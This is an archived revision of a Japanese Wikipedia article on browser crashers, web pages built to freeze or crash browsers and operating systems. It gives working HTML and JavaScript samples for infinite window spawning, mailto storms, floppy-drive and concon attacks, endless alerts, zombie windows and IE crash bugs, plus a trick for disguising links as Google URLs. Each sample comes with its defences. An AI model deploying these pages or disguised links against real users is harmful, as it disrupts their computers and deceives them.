ブラウザクラッシャー

出典: フリー百科事典『ウィキペディア(Wikipedia)』

これはこのページの過去の版です。So ttt (会話 | 投稿記録) による 2015年12月18日 (金) 10:50個人設定で未設定ならUTC)時点の版であり、現在の版とは大きく異なる場合があります。

ブラウザクラッシャーとは、ウェブブラウザオペレーティングシステム(OS)の仕様・バグを悪用するスクリプト言語または HTML 文書を記述したウェブページのことである。

概要

ウェブブラウザで当該のページにアクセスする事により、ウェブブラウザや OS の動作に異常を発生させる。「クラッシャー」はソフトウェアをクラッシュ[1]させる動作を意味している。ソフトウェアの構成やハードウェアに直接の破壊的な影響を及ぼす場合もある(FDDアタックなど)。

ブラクラ略称されることもある。

HTML 記述型

HTML を不正な形で記述することによってブラウザに不具合を起こさせる。JavaScript が動作しない環境でも動作するため脅威となる。

ウィンドウ無限表示型

詳細はcrashme You are an idiotを参照

このタイプのブラクラが最も有名なブラクラであるといえる。このブラクラは「JS_SPAWN.A」と呼ばれ、該当のページにアクセスすると、新しいウィンドウ無限に開き続ける。ユーザーがウィンドウを一つでも閉じると、ウインドウがねずみ算式に開かれる様になっている場合がほとんどである。トロイの木馬として分類されている場合があるが、ファイルやレジストリなどの改変を行わないものが大半である。しかし、悪質なものになると単にブラクラとして動作するだけでなく、ウイルスをダウンロードする等の二次災害を引き起こすサイトもある。

サンプルソース

<html>
  <head><title>ウィンドウ無限表示型</title></head>
  <body onload="var i=0;while(true){open('./'.i++);}">
    <script type="text/javascript">
    <!--
      for(;;) {
        window.open();
      }
    //-->
    </script>
  </body>
</html>

上記ソースをHTMLとしてブラウザが読み込むと、無限にウィンドウを開き続ける。

対応策

  • プロセスを強制終了する。
    • Windows では Ctrl + Alt + Delete キーで、タスクマネージャを開き、「プロセス」タブでウェブブラウザを終了する。このとき終了するプロセスは、Internet Explorerの場合は「iexplore.exe」、Mozilla Firefoxを使用している場合は「firefox.exe」である。(Windows 9x系 OS の場合、「強制終了の選択」というダイアログが表示されるので、そこから使用しているブラウザをクリックして強制終了する。)
    • Mac OS X では、command + option + esc キーでアプリケーションの強制終了を開き、ウェブブラウザを強制終了する。
    • UNIX 系 OS では ps コマンドでウェブブラウザの PID を調べ、kill コマンドでプロセスを終了する。
  • 再起動する。
  • 新しいウィンドウではなく新しいタブで開く設定に変更する(タブブラウザ、タブブラウジングの場合)。

mailto ストーム(メイルトゥストーム)

上記と似たタイプのブラクラである。電子メールの作成画面を起動するマークアップを大量に記述し、メール作成画面を無限に開かせる。結果、閲覧者のコンピュータやブラウザを過度のリソース消費によりフリーズさせる。タグでメール新規作成画面を開かせる際、<a href="mailto:~">と書き、このリンクをクリックすると、ブラウザに設定されたメールクライアントが起動する。これがmailtoストームの名前の由来である。


サンプルソース

<html>
  <head><title>mailtoストーム</title></head>
  <body>
    <img src="mailto:001@example.org">
    <img src="mailto:002@example.org">
      ・
      ・
      ・
    <img src="mailto:100@example.org">
  </body>
</html>

上記ソースをHTMLとしてブラウザが読み込むと、メール作成画面が 100 個表示される。

防御策

  • メール作成画面の同時表示個数に上限を設定できる電子メールクライアントを使用するか、ブラウザで使用する標準メールソフトを設定しない
  • URL の前に "view-source:" をつけてソースを確認し、img タグの src 属性に "mailto:" が含まれていないか注意する。
    • ただし、Windows XP SP2 以降の Internet Explorer や Opera など一部の環境では view-source: をつけてもソース確認が出来ないためオンラインのソースチェッカーを使用するなど別の方法を用いる必要がある。

電子メールクライアント側で対策(メール作成画面に上限を設けるなど)されていることも多い。

mailtoストームに類似する誤作動

  • mailtoによって起動するメールクライアントを未設定にしていた場合、ブラウザがmailtoによって起動するアプリケーションを探すが、設定していないため当然みつからない。そのためブラウザの処理がループし、ブラウザが60 - 100個ほど開いてしまう。また、ブラウザに設定したメールクライアントが一見設定されている状態でも、なんらかの影響によって未設定とみなされ、上記と同様の現象が発生することがある。その場合は、一旦ブラウザのメール設定を変更し、再度戻すことで現象は回避できる。

FDD アタック・CD-ROM アタック

フロッピーディスクドライブ (FDD) へのアクセスを繰り返す、CD-ROMドライブが開閉を繰り返すなど、周辺機器にアクセスさせるマークアップを多数記述し、ブラウザの反応を遅くする。場合によっては周辺機器に物理的影響を与える。特にフロッピーディスクは機器への負担が大きい。

サンプルソース

<html>
  <head><title>FDDアタック</title></head>
  <body>
    <img src="file:///A:/example.001">
    <img src="file:///A:/example.002">
      ・
      ・
      ・
    <img src="file:///A:/example.100">
  </body>
</html>

上記ソースをHTMLとしてブラウザが読み込むと、通常Aドライブであるフロッピーディスクドライブがガチャガチャと動く。

防御策

  • フロッピーディスクドライブのドライブ名をA以外にする
  • URL の前に "view-source:" をつけてソースを確認し、img タグの src 属性に file:// が含まれていないか注意する。
    • ただし、Windows XP SP2 以降の Internet ExplorerOpera など一部の環境では view-source: をつけてもソース確認が出来ないためオンラインのソースチェッカーを使用するなど別の方法を用いる必要がある。
  • FDDアタックがPCのAドライブにアクセスし続けると、FDDが破損することがある。だが、FDDに最初からFDを挿入しておくと、破損は回避できる。

近年の市販パソコンにはフロッピーディスクドライブが標準装備で無い(USB接続の外付けドライブ)ものが出てきている。このようなパソコンにはAドライブが存在しないため、フロッピーディスクドライブアタックは効かない。なお、Windows以外のプラットフォームは影響を受けない。

テーブルネスト

table タグの中に table タグを入れ、さらにその中に table タグを入れ、これを故意に深くネスティングさせたもの。古いブラウザ、特にバージョンの古い Netscape Navigator(4.x あたりまで)ではフリーズしてしまう。 意図しなくてもページレイアウトのために table タグを多用した場合、同じことが起こりうる。

サンプルソース

<html>
  <head><title>テーブルネスト</title></head>
  <body>
    <table border="1"><tr><td>
      <table border="1"><tr><td>
        <table border="1"><tr><td>
          <table border="1"><tr><td>
            <table border="1"><tr><td>
              <table border="1"><tr><td>
                <table border="1"><tr><td>
                  <table border="1"><tr><td>
                    <table border="1"><tr><td>
                      <table border="1"><tr><td>
                        <table><tr><td>Sample</td></tr></table>
                      </td></tr></table>
                    </td></tr></table>
                  </td></tr></table>
                </td></tr></table>
              </td></tr></table>
            </td></tr></table>
          </td></tr></table>
        </td></tr></table>
      </td></tr></table>
    </td></tr></table>
  </body>
</html>

防御策

  • CSSスタイルシート)への対応が不完全な古いブラウザしか対応できないパソコン環境(Windows95, MacOS8.x あたりまで)の使用を止め、新しいブラウザ動作できるパソコン環境に移行する。
  • URL の前に "view-source:" をつけてソースを確認し、table タグの多重入れ子が含まれていないか注意する。
    • ただし、Windows XP SP2 以降の Internet Explorer や Opera など一部の環境では view-source: をつけてもソース確認が出来ないためオンラインのソースチェッカーを使用するなど別の方法を用いる必要がある。

concon クラッシャー

concon バグと呼ばれるバグを利用したもの。Windows予約デバイスに関する不具合を持つファイル名やフォルダ名にアクセスさせ、OS を停止させる。CON, AUX, NUL などが該当。

サンプルソース

<html>
  <head><title>conconクラッシャー</title></head>
  <body>
    <img src="file:///c:/con/con/con.con">
    <img src="file:///c:/nul/nul/nul.nul">
    <img src="file:///c:/lpt1/lpt2/lpt3.aux">
  </body>
</html>

防御策

  • この種の脆弱性を持ち、既にMicrosoftがサポートを終了している Windows 9x系(Windows Me まで)の OS を使用しない

Telnet ストーム

サーバとの通信に使われるtelnetサービスを悪用してDOS画面に似たプロンプトを開く。

サンプルソース

<html>
  <head><title>telnet ストーム</title></head>
  <body>
    <iframe src="telnet://example.org:80"></iframe>
      ・
      ・
      ・
  </body>
</html>

防御策

  • 該当サービスのスタートアップの種類を停止にする

JavaScript 記述型

クライアントサイドのスクリプトである JavaScript を悪用したもの。HTML 記述型と複合させたものもある。JavaScript の動作しない環境では作動しない。そのため、JavaScript 型は全て JavaScript を無効にすることによって回避することが出来る。

JavaScriptループ型

JavaScript を使用している場合、処理をループさせている場合が多い。なぜなら、HTML 記述型の場合、有限回しか実行させることができず、さらにソースも長くなるのに対し、JavaScript を使用すれば数行で何回でも実行させることができるからである。

本項では、無限にループさせるものとして話を進める。

JavaScript の無限ループ

スクリプトが永久ループすると、CPU の使用率が 100% になりパソコンの動作が非常に鈍くなる。場合によっては、フリーズする。

サンプルソース

<html>
  <head><title>JavaScript の永久ループ</title></head>
  <body>
    <script type="text/javascript">
    <!--
      for (var i = 0; ; i++);
    //-->
    </script>
  </body>
</html>

防御策

  • 特別な防御策は特になし。
  • 最近のブラウザには一定回数以上ループした時警告を表示するブラウザがあるので、それを利用する。

ウィンドウ無限表示型

上記のHTML 記述型と効果はほぼ同じ。最近のブラウザには標準でポップアップブロックが装備されているものが多いので、実行されにくくなってきた。

サンプルソース
ウィンドウストーム

<html>
  <head><title>ウィンドウ無限表示型</title></head>
  <body onload="var i=0;while(true){open('./'.i++);}">
    <script type="text/javascript">
    <!--
      for(;;)
      {
        window.open();
      }
    //-->
    </script>
  </body>
</html>

上記ソースをHTMLとしてブラウザが読み込むと、無限にウィンドウを開き続ける。

mailtoストーム

<html>
  <head>
  </head>
  <body>
    <script type="text/javascript">
      <!--
      for(var i = 1; ; i++){
        document.write('<iframe src="mailto:'+i+'"></iframe>');
      }
      //-->
    </script>
  </body>
</html>

その他の例 mailto ストームのように、HTML 型の脅威を JavaScript の反復処理によって記述される危険性がある。前述の mailto ストームのソースコードにおいて document.write('?'); の ? の部分を以下のように置換したものが該当する。

  • <img src="file:///A|/'+i+'.jpg> →FDDアタック
  • <iframe src="view-source:h'+'ttp://example.com"></iframe> →ソースストーム
  • <iframe src="f'+'tp://example.com"></iframe>ftpストーム

など。

防御策 上記のHTML 記述型と同じ

無限アラート

アラートを多数回または無限に開かせる。一部のウェブブラウザではアラートはダイアログボックスで実装され警告を促すため最前面に表示されるようになっているため、メッセージボックスが表示されている間は操作できない。このブラクラではアラートを閉じると次のステップでまたアラートを表示する。したがって、アラートがダイアログボックスであるブラウザではアラートが終了するか、プロセスを終了しない限り操作が何もできなくなる。

サンプルソース

<html>
  <head><title>無限アラート</title></head>
  <body>
    <script type="text/javascript">
    <!--
      for (;;) { alert("無限アラートです。"); }
    //-->
    </script>
  </body>
</html>

防御策

  • プロセスを強制終了する。
    • Windows では Ctrl+Alt+Delete キーで、タスクマネージャを開き、「プロセス」タブでウェブブラウザを終了する。このとき終了するプロセスは、Internet Explorerの場合は「iexplore.exe」、Mozilla Firefoxを使用している場合は「firefox.exe」である。(Windows 98 系 OS の場合、「強制終了の選択」というダイアログが表示されるので、そこから使用しているブラウザをクリックして強制終了する。)
    • UNIX 系 OS では ps コマンドでウェブブラウザの PID を調べ、kill コマンドでプロセスを終了する。
  • 再起動する。

×ストーム

画像を表示できなかった時の×マークを大量に表示させ、フリーズさせる。無限に指定するものや、多くの数を指定してフリーズさせるものなどある。

サンプルソース

<html>
<head>
<title>×ストーム</title>
</head>
<body>
<script type="text/javascript">
<!--
for (var i = 0; ; i++) {
  document.write('<img src="' + i + '.swf">');
}
// -->
</script>
</body>
</html>

防御策

  • フリーズする前(ページを読み込む前)にウィンドウを閉じる。

フルスクリーン化

ブラウザをツールバーなしの全画面表示にしてしまう。

サンプルソース

<html>
  <head><title>フルスクリーン化</title></head>
  <body>
    <script type="text/javascript">
    <!--
      window.open("test.html", "_blank", "fullscreen=yes");
    //-->
    </script>
  </body>
</html>

防御策

  • ポップアップブロックを設定できるブラウザ(Windows XP SP2 の IE6Firefox など)を使用する。
  • タブブラウザFirefox、Microsoft Internet Explorer 7 など)を使用する
  • Windows系の場合、[Alt]+[F4] を押すことによりブラウザを閉じることができる。Mac の場合は [コマンドキー]+[Q] でブラウザを終了できる。
  • Internet Explorerなどでは[F11]を押すことによってフルスクリーンを解除することができる。

最近のブラウザは標準でポップアップブロックに対応しているため、実行されにくくなっている。

ゾンビウィンドウ

何度閉じても、ゾンビのごとく復活するウィンドウのことをいう。消した数よりも開くウィンドウが多い場合もある。この場合、ウィンドウがねずみ算式に増えることになる。悪質なポップアップ広告にしばしば使われている。

サンプルソース

<html>
  <head>
    <title>ゾンビウィンドウ</title>
    <script type="text/javascript">
    <!--
      function Zombie() {
        window.open(location.href);
      }
    //-->
    </script>
  </head>
  <body onunload="Zombie();"></body>
</html>

防御策

  • ポップアップブロックを設定できるブラウザを使用する。

JavaScript実装のバグをついたもの

特定のブラウザーのJavaScript実装のバグをつくタイプ。本項目追加現在(2007年3月1日)、以下がInternet Explorerでクラッシュするようである。

Crash IE - Internet Explorer

サンプルソース

<html>
  <head>
    <title>ゾンビウィンドウ</title>
    <script type="text/javascript">
    <!--
      for (x in document.write) { document.write(x); }
    //-->
    </script>
  </head>
  <body>Sorry, IE.  You can't see me!</body>
</html>

防御策

  • Internet Explorer 以外のブラウザを使う

ブラウザのバグをついたもの

特定のブラウザのバグをつくタイプ

サンプルソース

古いタイプのIEがクラッシュする

<input type crash>

IE6がクラッシュする

<style>@;/*</style>

IE6がクラッシュする

<style>*{position:relative}</style>
<table>
<input>
</table>

IE6がクラッシュする

<iframe src="?">

IEがクラッシュする

<style type="text/css">
#a {margin:0 10px 10px;}
#b {width:100%;}
</style>
<table>
<td><div id="a"><form id="b"><input type="text" name="test"/></div></td>
<td width="1"></td>
</table>

I'm Feeling Lucky ブラクラ

I'm Feeling Lucky ブラクラとは、Google のトップページの、「検索」ボタンの横にある「I'm Feeling Lucky」ボタンを悪用したブラクラのことである。I'm Feeling Lucky とは、Google の機能の一つで、検索結果の一覧を表示せずに直接検索結果のトップに挙がったウェブページにジャンプする機能のことであるが、その機能を利用して、ブラクラサイトが検索結果のトップに表示されるような検索語をリンク先の URL に仕掛けるとクリックした者をブラクラに誘導することが可能になる。

掲示板などにリンクが貼られていた場合、普段は多少怪しいと思うようなリンク先であっても、I'm Feeling Lucky を使った URL の場合、https://www.google.co.jp/#q=○○&btnI=I%27m%20Feeling%20Lucky というような URL になり、ドメインが Google であることから安心してクリックしてしまい、ひっかかりやすいとされている。

また、=I%27m%20Feeling%20Lucky の部分は省略でき、さらに btnI は %62%74%6e%49URL エンコードもできるため、https://www.google.co.jp/#q=○○&%62%74%6e%49 となる。このように、偽装が容易である。

防御策

  • 「Google」だけで安心せず、クエリ文字列に「I'm」、「Feeling」、「Lucky」などの文字列が含まれていないかどうか見る。それでも完全に防御することはできないことも覚えておく。

ブラクラを踏まないようにするための対策

ブラクラを踏まないようにするためにも、次のような対策を行うべきである。

  • タブブラウザを使用する。
    • 正確には事前の予防策ではなく、ブラクラを踏んだ際の緊急回避手段として有効。通常のブラウザだとウィンドウを手動でこまめに閉じなければならないため、機械的な増殖に対応しきれないケースが多いが、タブブラウザの場合はブラウザひとつを閉じるだけで済むケースがほとんど。
  • アクセスする前にソースを確認する。ソースの見方が分からない場合はブラクラかどうかや安全度の判定できるものを利用すると良い。
    • 怪しいサイトにアクセスするときは、JavaScript を切り、ブラクラチェッカーやソースチェッカーなどで調べる。
    • リンク先をファイルにダウンロードし(右クリック―「対象をファイルに保存」でデスクトップにでも)、ソースコードを調べる。UNIX コマンドが使える環境ならば wget コマンドや curl コマンドでも可能。
    • Gecko 系や Blink 系のブラウザを使用している場合は view-source: スキームを使ってページを表示する前にソースを確認する。
  • ブラウザの設定でポップアップを無効にするように設定する。

精神的ブラクラ

派生した用語として「精神的ブラクラ」がある。これは、閲覧した者の精神に不快感を与えさせるようなグロ系や恐怖系の画像・音声・動画などにそれと気づかないようにアクセスさせること。 ブラウザやコンピュータ自体にはなんら影響はないものの、悪意を持って対象のURLをクリックさせることがブラクラと共通しているためこう名付けられた。「マインドクラッシャー」「マイクラ」とも呼ばれる。[2][3]

関連項目

脚注

  1. ^ (英語: crash, ソフトウェアの異常終了の意で用いられている。
  2. ^ マインドクラッシャー」 kotobank、2009年12月9日閲覧。
  3. ^ マインドクラッシャー」 IT用語辞典バイナリ、2009年12月9日閲覧。